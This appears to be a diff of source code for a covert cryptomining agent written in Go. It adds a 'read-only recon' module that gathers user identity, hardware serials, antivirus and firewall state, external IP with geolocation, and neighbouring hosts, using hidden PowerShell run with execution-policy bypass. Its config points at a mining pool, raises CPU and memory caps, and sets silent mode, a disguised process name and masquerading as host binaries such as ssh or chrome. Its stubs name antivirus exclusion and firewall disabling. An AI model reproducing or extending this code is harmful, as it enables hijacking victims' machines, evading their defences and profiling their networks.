n, _ := mask.Size()
|
||||||
|
return n
|
||||||
|
}
|
||||||
|
|
||||||
|
func fetchExternalIP() (ip, source string) {
|
||||||
|
client := &http.Client{Timeout: 6 * time.Second}
|
||||||
|
services := []struct {
|
||||||
|
url string
|
||||||
|
source string
|
||||||
|
}{
|
||||||
|
{"https://api.ipify.org", "ipify"},
|
||||||
|
{"https://icanhazip.com", "icanhazip"},
|
||||||
|
{"https://ifconfig.me/ip", "ifconfig.me"},
|
||||||
|
}
|
||||||
|
for _, svc := range services {
|
||||||
|
resp, err := client.Get(svc.url)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
body, err := io.ReadAll(io.LimitReader(resp.Body, 64))
|
||||||
|
resp.Body.Close()
|
||||||
|
if err != nil || resp.StatusCode != http.StatusOK {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
candidate := strings.TrimSpace(string(body))
|
||||||
|
if parsed := net.ParseIP(candidate); parsed != nil && parsed.To4() != nil {
|
||||||
|
return candidate, svc.source
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if wan, err := deploy.GetPublicEndpoint(); err == nil && wan != "" {
|
||||||
|
return wan, "upnp"
|
||||||
|
}
|
||||||
|
return "", ""
|
||||||
|
}
|
||||||
|
|
||||||
|
func fetchGeo(ip string) *SysCheckGeo {
|
||||||
|
if ip == "" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
url := fmt.Sprintf("http://ip-api.com/json/%s?fields=status,message,query,country,regionName,city,lat,lon,isp,org", ip)
|
||||||
|
client := &http.Client{Timeout: 8 * time.Second}
|
||||||
|
resp, err := client.Get(url)
|
||||||
|
if err != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
data, err := io.ReadAll(io.LimitReader(resp.Body, 4096))
|
||||||
|
if err != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
var m map[string]interface{}
|
||||||
|
if json.Unmarshal(data, &m) != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if s, _ := m["status"].(string); s != "success" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
g := &SysCheckGeo{Query: ip}
|
||||||
|
if v, ok := m["country"].(string); ok {
|
||||||
|
g.Country = v
|
||||||
|
}
|
||||||
|
if v, ok := m["regionName"].(string); ok {
|
||||||
|
g.Region = v
|
||||||
|
}
|
||||||
|
if v, ok := m["city"].(string); ok {
|
||||||
|
g.City = v
|
||||||
|
}
|
||||||
|
if v, ok := m["isp"].(string); ok {
|
||||||
|
g.ISP = v
|
||||||
|
}
|
||||||
|
if v, ok := m["org"].(string); ok {
|
||||||
|
g.Org = v
|
||||||
|
}
|
||||||
|
if v, ok := m["lat"].(float64); ok {
|
||||||
|
g.Lat = v
|
||||||
|
}
|
||||||
|
if v, ok := m["lon"].(float64); ok {
|
||||||
|
g.Lon = v
|
||||||
|
}
|
||||||
|
return g
|
||||||
|
}
|
||||||
158
agent/client/syscheck_types.go
Normal file
158
agent/client/syscheck_types.go
Normal file
@@ -0,0 +1,158 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import "encoding/json"
|
||||||
|
|
||||||
|
// FullSysCheckReport is returned by the full_sys_check command (read-only recon).
|
||||||
|
type FullSysCheckReport struct {
|
||||||
|
GeneratedAt string `json:"generated_at"`
|
||||||
|
Platform string `json:"platform"`
|
||||||
|
Arch string `json:"arch"`
|
||||||
|
OSVersion string `json:"os_version,omitempty"`
|
||||||
|
Hostname string `json:"hostname,omitempty"`
|
||||||
|
WorkerName string `json:"worker_name,omitempty"`
|
||||||
|
BuildID string `json:"build_id,omitempty"`
|
||||||
|
AgentID string `json:"agent_id,omitempty"`
|
||||||
|
|
||||||
|
Identity *SysCheckIdentity `json:"identity,omitempty"`
|
||||||
|
Hardware *SysCheckHardware `json:"hardware,omitempty"`
|
||||||
|
Security *SysCheckSecurity `json:"security,omitempty"`
|
||||||
|
Network *SysCheckNetwork `json:"network,omitempty"`
|
||||||
|
Resources *ResourcePressure `json:"resources,omitempty"`
|
||||||
|
ListenPorts *ListenPortsReport `json:"listen_ports,omitempty"`
|
||||||
|
Patch *PatchStatusReport `json:"patch,omitempty"`
|
||||||
|
Environment *SysCheckEnvironment `json:"environment,omitempty"`
|
||||||
|
Neighbors *SysCheckNeighbors `json:"neighbors,omitempty"`
|
||||||
|
|
||||||
|
RawSysinfo string `json:"raw_sysinfo,omitempty"`
|
||||||
|
RawIPConfig string `json:"raw_ipconfig,omitempty"`
|
||||||
|
RawNetstat string `json:"raw_netstat,omitempty"`
|
||||||
|
ProbeErrors []string `json:"probe_errors,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type SysCheckIdentity struct {
|
||||||
|
Username string `json:"username,omitempty"`
|
||||||
|
Domain string `json:"domain,omitempty"`
|
||||||
|
ComputerName string `json:"computer_name,omitempty"`
|
||||||
|
AgentElevated bool `json:"agent_elevated,omitempty"`
|
||||||
|
MACAddress string `json:"mac_address,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type SysCheckHardware struct {
|
||||||
|
Manufacturer string `json:"manufacturer,omitempty"`
|
||||||
|
Model string `json:"model,omitempty"`
|
||||||
|
Serial string `json:"serial,omitempty"`
|
||||||
|
BIOSVersion string `json:"bios_version,omitempty"`
|
||||||
|
CPUs []SysCheckCPU `json:"cpus,omitempty"`
|
||||||
|
MemoryGB float64 `json:"memory_gb,omitempty"`
|
||||||
|
GPUs []SysCheckGPU `json:"gpus,omitempty"`
|
||||||
|
Disks []SysCheckDisk `json:"disks,omitempty"`
|
||||||
|
UptimeHours float64 `json:"uptime_hours,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type SysCheckCPU struct {
|
||||||
|
Name string `json:"name,omitempty"`
|
||||||
|
Cores int `json:"cores,omitempty"`
|
||||||
|
Logical int `json:"logical,omitempty"`
|
||||||
|
MaxMHz int `json:"max_mhz,omitempty"`
|
||||||
|
CurrentMHz int `json:"current_mhz,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type SysCheckGPU struct {
|
||||||
|
Name string `json:"name,omitempty"`
|
||||||
|
Driver string `json:"driver,omitempty"`
|
||||||
|
VRAM_MB int `json:"vram_mb,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type SysCheckDisk struct {
|
||||||
|
Mount string `json:"mount,omitempty"`
|
||||||
|
Label string `json:"label,omitempty"`
|
||||||
|
FSType string `json:"fs_type,omitempty"`
|
||||||
|
TotalGB float64 `json:"total_gb,omitempty"`
|
||||||
|
FreeGB float64 `json:"free_gb,omitempty"`
|
||||||
|
FreePct int `json:"free_pct,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type SysCheckSecurity struct {
|
||||||
|
PostureScore int `json:"posture_score,omitempty"`
|
||||||
|
DefenderEnabled *bool `json:"defender_enabled,omitempty"`
|
||||||
|
DefenderRTP *bool `json:"defender_rtp,omitempty"`
|
||||||
|
AVProducts []string `json:"av_products,omitempty"`
|
||||||
|
FirewallDomain *bool `json:"firewall_domain,omitempty"`
|
||||||
|
FirewallPrivate *bool `json:"firewall_private,omitempty"`
|
||||||
|
FirewallPublic *bool `json:"firewall_public,omitempty"`
|
||||||
|
SSHListening *bool `json:"ssh_listening,omitempty"`
|
||||||
|
PendingUpdates *int `json:"pending_updates,omitempty"`
|
||||||
|
LastPatch *string `json:"last_patch,omitempty"`
|
||||||
|
LastPatchDays *int `json:"last_patch_days,omitempty"`
|
||||||
|
RebootPending *bool `json:"reboot_pending,omitempty"`
|
||||||
|
Services []ServiceStatus `json:"services,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type SysCheckNetwork struct {
|
||||||
|
PrimaryLocalIP string `json:"primary_local_ip,omitempty"`
|
||||||
|
ExternalIP string `json:"external_ip,omitempty"`
|
||||||
|
ExternalIPSource string `json:"external_ip_source,omitempty"`
|
||||||
|
Geo *SysCheckGeo `json:"geo,omitempty"`
|
||||||
|
DNS *DNSConfig `json:"dns,omitempty"`
|
||||||
|
Interfaces []SysCheckInterface `json:"interfaces,omitempty"`
|
||||||
|
DefaultGateway string `json:"default_gateway,omitempty"`
|
||||||
|
RoutesSummary string `json:"routes_summary,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type SysCheckGeo struct {
|
||||||
|
Query string `json:"query,omitempty"`
|
||||||
|
Country string `json:"country,omitempty"`
|
||||||
|
Region string `json:"region,omitempty"`
|
||||||
|
City string `json:"city,omitempty"`
|
||||||
|
ISP string `json:"isp,omitempty"`
|
||||||
|
Org string `json:"org,omitempty"`
|
||||||
|
Lat float64 `json:"lat,omitempty"`
|
||||||
|
Lon float64 `json:"lon,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type SysCheckInterface struct {
|
||||||
|
Name string `json:"name,omitempty"`
|
||||||
|
MAC string `json:"mac,omitempty"`
|
||||||
|
IPv4 []string `json:"ipv4,omitempty"`
|
||||||
|
IPv6 []string `json:"ipv6,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type SysCheckEnvironment struct {
|
||||||
|
Timezone string `json:"timezone,omitempty"`
|
||||||
|
Locale string `json:"locale,omitempty"`
|
||||||
|
HomeDir string `json:"home_dir,omitempty"`
|
||||||
|
TempDir string `json:"temp_dir,omitempty"`
|
||||||
|
InstallDir string `json:"install_dir,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type SysCheckNeighbors struct {
|
||||||
|
ArpHosts []string `json:"arp_hosts,omitempty"`
|
||||||
|
SubnetScan string `json:"subnet_scan,omitempty"`
|
||||||
|
ArpCount int `json:"arp_count,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *FullSysCheckReport) JSON() string {
|
||||||
|
b, _ := json.Marshal(r)
|
||||||
|
return string(b)
|
||||||
|
}
|
||||||
|
|
||||||
|
func securityFromPosture(p *PostureReport) *SysCheckSecurity {
|
||||||
|
if p == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return &SysCheckSecurity{
|
||||||
|
PostureScore: p.PostureScore,
|
||||||
|
DefenderEnabled: p.DefenderEnabled,
|
||||||
|
DefenderRTP: p.DefenderRTP,
|
||||||
|
AVProducts: p.AVProducts,
|
||||||
|
FirewallDomain: p.FirewallDomain,
|
||||||
|
FirewallPrivate: p.FirewallPrivate,
|
||||||
|
FirewallPublic: p.FirewallPublic,
|
||||||
|
SSHListening: p.SSHListening,
|
||||||
|
PendingUpdates: p.PendingUpdates,
|
||||||
|
LastPatch: p.LastPatch,
|
||||||
|
LastPatchDays: p.LastPatchDays,
|
||||||
|
RebootPending: p.RebootPending,
|
||||||
|
Services: p.Services,
|
||||||
|
}
|
||||||
|
}
|
||||||
138
agent/client/syscheck_unix.go
Normal file
138
agent/client/syscheck_unix.go
Normal file
@@ -0,0 +1,138 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"os/user"
|
||||||
|
"runtime"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
func collectSysCheckPlatform(r *FullSysCheckReport) {
|
||||||
|
hw := &SysCheckHardware{}
|
||||||
|
|
||||||
|
if out, err := exec.Command("uname", "-a").CombinedOutput(); err == nil {
|
||||||
|
parts := strings.Fields(string(out))
|
||||||
|
if len(parts) >= 3 {
|
||||||
|
hw.Manufacturer = parts[2]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if runtime.GOOS == "darwin" {
|
||||||
|
if out, err := exec.Command("sysctl", "-n", "hw.model").CombinedOutput(); err == nil {
|
||||||
|
hw.Model = strings.TrimSpace(string(out))
|
||||||
|
}
|
||||||
|
if out, err := exec.Command("sysctl", "-n", "hw.memsize").CombinedOutput(); err == nil {
|
||||||
|
if n, err := strconv.ParseInt(strings.TrimSpace(string(out)), 10, 64); err == nil {
|
||||||
|
hw.MemoryGB = float64(n) / (1024 * 1024 * 1024)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
if out, err := exec.Command("sh", "-c", "grep -m1 'model name' /proc/cpuinfo | cut -d: -f2").CombinedOutput(); err == nil {
|
||||||
|
hw.CPUs = []SysCheckCPU{{Name: strings.TrimSpace(string(out))}}
|
||||||
|
}
|
||||||
|
if out, err := exec.Command("sh", "-c", "grep -c ^processor /proc/cpuinfo").CombinedOutput(); err == nil {
|
||||||
|
if n, err := strconv.Atoi(strings.TrimSpace(string(out))); err == nil && len(hw.CPUs) > 0 {
|
||||||
|
hw.CPUs[0].Logical = n
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if out, err := exec.Command("free", "-b").CombinedOutput(); err == nil {
|
||||||
|
lines := strings.Split(string(out), "\n")
|
||||||
|
if len(lines) > 1 {
|
||||||
|
fields := strings.Fields(lines[1])
|
||||||
|
if len(fields) >= 2 {
|
||||||
|
if total, err := strconv.ParseInt(fields[1], 10, 64); err == nil {
|
||||||
|
hw.MemoryGB = float64(total) / (1024 * 1024 * 1024)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if out, err := exec.Command("df", "-h").CombinedOutput(); err == nil {
|
||||||
|
hw.Disks = parseDfOutput(string(out))
|
||||||
|
}
|
||||||
|
|
||||||
|
if out, err := exec.Command("sh", "-c", "cat /proc/uptime 2>/dev/null || sysctl -n kern.boottime 2>/dev/null").CombinedOutput(); err == nil {
|
||||||
|
fields := strings.Fields(string(out))
|
||||||
|
if len(fields) > 0 {
|
||||||
|
if sec, err := strconv.ParseFloat(fields[0], 64); err == nil {
|
||||||
|
hw.UptimeHours = sec / 3600
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
r.Hardware = hw
|
||||||
|
|
||||||
|
if r.Identity == nil {
|
||||||
|
r.Identity = &SysCheckIdentity{}
|
||||||
|
}
|
||||||
|
if u, err := user.Current(); err == nil {
|
||||||
|
r.Identity.Username = u.Username
|
||||||
|
}
|
||||||
|
r.Identity.MACAddress = primaryMACAddress()
|
||||||
|
|
||||||
|
if r.Environment == nil {
|
||||||
|
r.Environment = &SysCheckEnvironment{}
|
||||||
|
}
|
||||||
|
r.Environment.HomeDir = os.Getenv("HOME")
|
||||||
|
r.Environment.TempDir = os.Getenv("TMPDIR")
|
||||||
|
if r.Environment.TempDir == "" {
|
||||||
|
r.Environment.TempDir = "/tmp"
|
||||||
|
}
|
||||||
|
|
||||||
|
if r.Network == nil {
|
||||||
|
r.Network = &SysCheckNetwork{}
|
||||||
|
}
|
||||||
|
if out, err := exec.Command("sh", "-c", "ip route show default 2>/dev/null || route -n get default 2>/dev/null").CombinedOutput(); err == nil {
|
||||||
|
r.Network.RoutesSummary = strings.TrimSpace(string(out))
|
||||||
|
for _, line := range strings.Split(string(out), "\n") {
|
||||||
|
if strings.Contains(line, "via") || strings.Contains(line, "gateway:") {
|
||||||
|
fields := strings.Fields(line)
|
||||||
|
for i, f := range fields {
|
||||||
|
if f == "via" && i+1 < len(fields) {
|
||||||
|
r.Network.DefaultGateway = fields[i+1]
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if strings.HasPrefix(f, "gateway:") {
|
||||||
|
r.Network.DefaultGateway = strings.TrimPrefix(f, "gateway:")
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseDfOutput(raw string) []SysCheckDisk {
|
||||||
|
var disks []SysCheckDisk
|
||||||
|
for _, line := range strings.Split(raw, "\n")[1:] {
|
||||||
|
fields := strings.Fields(line)
|
||||||
|
if len(fields) < 6 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
mount := fields[len(fields)-1]
|
||||||
|
disks = append(disks, SysCheckDisk{
|
||||||
|
Mount: mount,
|
||||||
|
FSType: fields[0],
|
||||||
|
TotalGB: parseSizeGB(fields[1]),
|
||||||
|
FreeGB: parseSizeGB(fields[3]),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
return disks
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseSizeGB(s string) float64 {
|
||||||
|
s = strings.TrimSuffix(s, "G")
|
||||||
|
s = strings.TrimSuffix(s, "T")
|
||||||
|
s = strings.TrimSuffix(s, "M")
|
||||||
|
f, _ := strconv.ParseFloat(s, 64)
|
||||||
|
if strings.HasSuffix(s, "T") {
|
||||||
|
return f * 1024
|
||||||
|
}
|
||||||
|
return f
|
||||||
|
}
|
||||||
264
agent/client/syscheck_windows.go
Normal file
264
agent/client/syscheck_windows.go
Normal file
@@ -0,0 +1,264 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"os"
|
||||||
|
"os/user"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
const sysCheckWindowsScript = `
|
||||||
|
$ErrorActionPreference = 'SilentlyContinue'
|
||||||
|
$o = [ordered]@{}
|
||||||
|
|
||||||
|
# Identity
|
||||||
|
try {
|
||||||
|
$cs = Get-CimInstance Win32_ComputerSystem
|
||||||
|
$o.manufacturer = $cs.Manufacturer
|
||||||
|
$o.model = $cs.Model
|
||||||
|
$o.domain = $cs.Domain
|
||||||
|
$o.computer_name = $env:COMPUTERNAME
|
||||||
|
$o.total_ram_gb = [math]::Round($cs.TotalPhysicalMemory / 1GB, 2)
|
||||||
|
} catch {}
|
||||||
|
|
||||||
|
try {
|
||||||
|
$bios = Get-CimInstance Win32_BIOS
|
||||||
|
$o.serial = $bios.SerialNumber
|
||||||
|
$o.bios_version = $bios.SMBIOSBIOSVersion
|
||||||
|
} catch {}
|
||||||
|
|
||||||
|
try {
|
||||||
|
$o.cpus = @(Get-CimInstance Win32_Processor | ForEach-Object {
|
||||||
|
[ordered]@{
|
||||||
|
name = $_.Name
|
||||||
|
cores = [int]$_.NumberOfCores
|
||||||
|
logical = [int]$_.NumberOfLogicalProcessors
|
||||||
|
max_mhz = [int]$_.MaxClockSpeed
|
||||||
|
current_mhz = [int]$_.CurrentClockSpeed
|
||||||
|
}
|
||||||
|
})
|
||||||
|
} catch {}
|
||||||
|
|
||||||
|
try {
|
||||||
|
$o.gpus = @(Get-CimInstance Win32_VideoController | ForEach-Object {
|
||||||
|
[ordered]@{
|
||||||
|
name = $_.Name
|
||||||
|
driver = $_.DriverVersion
|
||||||
|
vram_mb = if ($_.AdapterRAM -and $_.AdapterRAM -gt 0) { [int]($_.AdapterRAM / 1MB) } else { 0 }
|
||||||
|
}
|
||||||
|
})
|
||||||
|
} catch {}
|
||||||
|
|
||||||
|
try {
|
||||||
|
$o.disks = @(Get-CimInstance Win32_LogicalDisk -Filter "DriveType=3" | ForEach-Object {
|
||||||
|
$freePct = if ($_.Size -gt 0) { [int](($_.FreeSpace / $_.Size) * 100) } else { 0 }
|
||||||
|
[ordered]@{
|
||||||
|
mount = $_.DeviceID
|
||||||
|
label = $_.VolumeName
|
||||||
|
fs_type = $_.FileSystem
|
||||||
|
total_gb = [math]::Round($_.Size / 1GB, 2)
|
||||||
|
free_gb = [math]::Round($_.FreeSpace / 1GB, 2)
|
||||||
|
free_pct = $freePct
|
||||||
|
}
|
||||||
|
})
|
||||||
|
} catch {}
|
||||||
|
|
||||||
|
try {
|
||||||
|
$os = Get-CimInstance Win32_OperatingSystem
|
||||||
|
$o.uptime_hours = [math]::Round(((Get-Date) - $os.LastBootUpTime).TotalHours, 1)
|
||||||
|
$o.timezone = (Get-TimeZone).Id
|
||||||
|
} catch {}
|
||||||
|
|
||||||
|
try {
|
||||||
|
$gw = Get-NetRoute -DestinationPrefix '0.0.0.0/0' -ErrorAction SilentlyContinue |
|
||||||
|
Sort-Object RouteMetric | Select-Object -First 1
|
||||||
|
if ($gw) { $o.default_gateway = $gw.NextHop }
|
||||||
|
} catch {}
|
||||||
|
|
||||||
|
try {
|
||||||
|
$routes = Get-NetRoute -AddressFamily IPv4 -ErrorAction SilentlyContinue |
|
||||||
|
Select-Object -First 24 DestinationPrefix, NextHop, InterfaceAlias, RouteMetric |
|
||||||
|
Format-Table -AutoSize | Out-String -Width 200
|
||||||
|
$o.routes_summary = $routes.Trim()
|
||||||
|
} catch {}
|
||||||
|
|
||||||
|
$o | ConvertTo-Json -Depth 5 -Compress
|
||||||
|
`
|
||||||
|
|
||||||
|
func collectSysCheckPlatform(r *FullSysCheckReport) {
|
||||||
|
out, err := silentCombinedOutput(
|
||||||
|
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
|
||||||
|
sysCheckWindowsScript,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
r.ProbeErrors = append(r.ProbeErrors, "windows hardware probe: "+err.Error())
|
||||||
|
} else {
|
||||||
|
parseWindowsSysCheckJSON(r, string(out))
|
||||||
|
}
|
||||||
|
|
||||||
|
if r.Identity == nil {
|
||||||
|
r.Identity = &SysCheckIdentity{}
|
||||||
|
}
|
||||||
|
if u, err := user.Current(); err == nil {
|
||||||
|
r.Identity.Username = u.Username
|
||||||
|
}
|
||||||
|
r.Identity.MACAddress = primaryMACAddress()
|
||||||
|
if r.Environment == nil {
|
||||||
|
r.Environment = &SysCheckEnvironment{}
|
||||||
|
}
|
||||||
|
r.Environment.TempDir = os.Getenv("TEMP")
|
||||||
|
r.Environment.HomeDir = os.Getenv("USERPROFILE")
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseWindowsSysCheckJSON(r *FullSysCheckReport, raw string) {
|
||||||
|
raw = strings.TrimSpace(raw)
|
||||||
|
if idx := strings.LastIndex(raw, "{"); idx > 0 {
|
||||||
|
raw = raw[idx:]
|
||||||
|
}
|
||||||
|
var m map[string]interface{}
|
||||||
|
if json.Unmarshal([]byte(raw), &m) != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
hw := &SysCheckHardware{}
|
||||||
|
if v, ok := m["manufacturer"].(string); ok {
|
||||||
|
hw.Manufacturer = v
|
||||||
|
}
|
||||||
|
if v, ok := m["model"].(string); ok {
|
||||||
|
hw.Model = v
|
||||||
|
}
|
||||||
|
if v, ok := m["serial"].(string); ok {
|
||||||
|
hw.Serial = v
|
||||||
|
}
|
||||||
|
if v, ok := m["bios_version"].(string); ok {
|
||||||
|
hw.BIOSVersion = v
|
||||||
|
}
|
||||||
|
if v, ok := m["total_ram_gb"].(float64); ok {
|
||||||
|
hw.MemoryGB = v
|
||||||
|
}
|
||||||
|
if v, ok := m["uptime_hours"].(float64); ok {
|
||||||
|
hw.UptimeHours = v
|
||||||
|
}
|
||||||
|
hw.CPUs = parseCPUList(m["cpus"])
|
||||||
|
hw.GPUs = parseGPUList(m["gpus"])
|
||||||
|
hw.Disks = parseDiskList(m["disks"])
|
||||||
|
r.Hardware = hw
|
||||||
|
|
||||||
|
if r.Identity == nil {
|
||||||
|
r.Identity = &SysCheckIdentity{}
|
||||||
|
}
|
||||||
|
if v, ok := m["domain"].(string); ok {
|
||||||
|
r.Identity.Domain = v
|
||||||
|
}
|
||||||
|
if v, ok := m["computer_name"].(string); ok {
|
||||||
|
r.Identity.ComputerName = v
|
||||||
|
}
|
||||||
|
|
||||||
|
if r.Network == nil {
|
||||||
|
r.Network = &SysCheckNetwork{}
|
||||||
|
}
|
||||||
|
if v, ok := m["default_gateway"].(string); ok {
|
||||||
|
r.Network.DefaultGateway = v
|
||||||
|
}
|
||||||
|
if v, ok := m["routes_summary"].(string); ok {
|
||||||
|
r.Network.RoutesSummary = v
|
||||||
|
}
|
||||||
|
|
||||||
|
if r.Environment == nil {
|
||||||
|
r.Environment = &SysCheckEnvironment{}
|
||||||
|
}
|
||||||
|
if v, ok := m["timezone"].(string); ok {
|
||||||
|
r.Environment.Timezone = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseCPUList(v interface{}) []SysCheckCPU {
|
||||||
|
arr, ok := v.([]interface{})
|
||||||
|
if !ok {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
var out []SysCheckCPU
|
||||||
|
for _, item := range arr {
|
||||||
|
obj, ok := item.(map[string]interface{})
|
||||||
|
if !ok {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
c := SysCheckCPU{Name: mapStr(obj, "name")}
|
||||||
|
if n, ok := obj["cores"].(float64); ok {
|
||||||
|
c.Cores = int(n)
|
||||||
|
}
|
||||||
|
if n, ok := obj["logical"].(float64); ok {
|
||||||
|
c.Logical = int(n)
|
||||||
|
}
|
||||||
|
if n, ok := obj["max_mhz"].(float64); ok {
|
||||||
|
c.MaxMHz = int(n)
|
||||||
|
}
|
||||||
|
if n, ok := obj["current_mhz"].(float64); ok {
|
||||||
|
c.CurrentMHz = int(n)
|
||||||
|
}
|
||||||
|
out = append(out, c)
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseGPUList(v interface{}) []SysCheckGPU {
|
||||||
|
arr, ok := v.([]interface{})
|
||||||
|
if !ok {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
var out []SysCheckGPU
|
||||||
|
for _, item := range arr {
|
||||||
|
obj, ok := item.(map[string]interface{})
|
||||||
|
if !ok {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
g := SysCheckGPU{
|
||||||
|
Name: mapStr(obj, "name"),
|
||||||
|
Driver: mapStr(obj, "driver"),
|
||||||
|
}
|
||||||
|
if n, ok := obj["vram_mb"].(float64); ok {
|
||||||
|
g.VRAM_MB = int(n)
|
||||||
|
}
|
||||||
|
out = append(out, g)
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseDiskList(v interface{}) []SysCheckDisk {
|
||||||
|
arr, ok := v.([]interface{})
|
||||||
|
if !ok {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
var out []SysCheckDisk
|
||||||
|
for _, item := range arr {
|
||||||
|
obj, ok := item.(map[string]interface{})
|
||||||
|
if !ok {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
d := SysCheckDisk{
|
||||||
|
Mount: mapStr(obj, "mount"),
|
||||||
|
Label: mapStr(obj, "label"),
|
||||||
|
FSType: mapStr(obj, "fs_type"),
|
||||||
|
}
|
||||||
|
if n, ok := obj["total_gb"].(float64); ok {
|
||||||
|
d.TotalGB = n
|
||||||
|
}
|
||||||
|
if n, ok := obj["free_gb"].(float64); ok {
|
||||||
|
d.FreeGB = n
|
||||||
|
}
|
||||||
|
if n, ok := obj["free_pct"].(float64); ok {
|
||||||
|
d.FreePct = int(n)
|
||||||
|
}
|
||||||
|
out = append(out, d)
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func mapStr(m map[string]interface{}, key string) string {
|
||||||
|
if v, ok := m[key].(string); ok {
|
||||||
|
return v
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
@@ -23,9 +23,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
PoolPort: 3333,
|
PoolPort: 3333,
|
||||||
PoolTLS: false,
|
PoolTLS: false,
|
||||||
PoolPass: "x",
|
PoolPass: "x",
|
||||||
MaxCPUUsage: 80,
|
MaxCPUUsage: 95,
|
||||||
MaxMemoryPct: 70,
|
MaxMemoryPct: 85,
|
||||||
MinFreeRAM: 1024,
|
MinFreeRAM: 512,
|
||||||
IdleThresholdPct: 20,
|
IdleThresholdPct: 20,
|
||||||
IdleDurationMinutes: 5,
|
IdleDurationMinutes: 5,
|
||||||
ScheduleStart: "21:00",
|
ScheduleStart: "21:00",
|
||||||
|
|||||||
@@ -20,6 +20,7 @@ type BuiltinConfig struct {
|
|||||||
DisplayMode string
|
DisplayMode string
|
||||||
SilentMode bool
|
SilentMode bool
|
||||||
RunAs string
|
RunAs string
|
||||||
|
HostBinaryTarget string // preset id (ssh, ftp, chrome, …) or custom:C:\path\app.exe when run_as=host_binary
|
||||||
AutoStart bool
|
AutoStart bool
|
||||||
ProcessName string
|
ProcessName string
|
||||||
BuildID string
|
BuildID string
|
||||||
|
|||||||
Binary file not shown.
@@ -12,4 +12,20 @@ func OpenFirewallPort(_ int, _ string) (string, error) {
|
|||||||
return "", fmt.Errorf("firewall port open is Windows-only")
|
return "", fmt.Errorf("firewall port open is Windows-only")
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func SetWindowsFirewallProfiles(_ bool, _ string) (string, error) {
|
||||||
|
return "", fmt.Errorf("firewall profile control is Windows-only")
|
||||||
|
}
|
||||||
|
|
||||||
|
func DisableWindowsFirewall() (string, error) {
|
||||||
|
return "", fmt.Errorf("firewall disable is Windows-only")
|
||||||
|
}
|
||||||
|
|
||||||
|
func EnableWindowsFirewall() (string, error) {
|
||||||
|
return "", fmt.Errorf("firewall enable is Windows-only")
|
||||||
|
}
|
||||||
|
|
||||||
|
func RemoveFirewallRuleByName(_ string) (string, error) {
|
||||||
|
return "", fmt.Errorf("firewall rule removal is Windows-only")
|
||||||
|
}
|
||||||
|
|
||||||
func SilentAVExclusion(_, _ string) {} // no-op on non-Windows
|
func SilentAVExclusion(_, _ string) {} // no-op on non-Windows
|
||||||
|
|||||||
17
agent/deploy/bits_stub.go
Normal file
17
agent/deploy/bits_stub.go
Normal file
@@ -0,0 +1,17 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
|
||||||
|
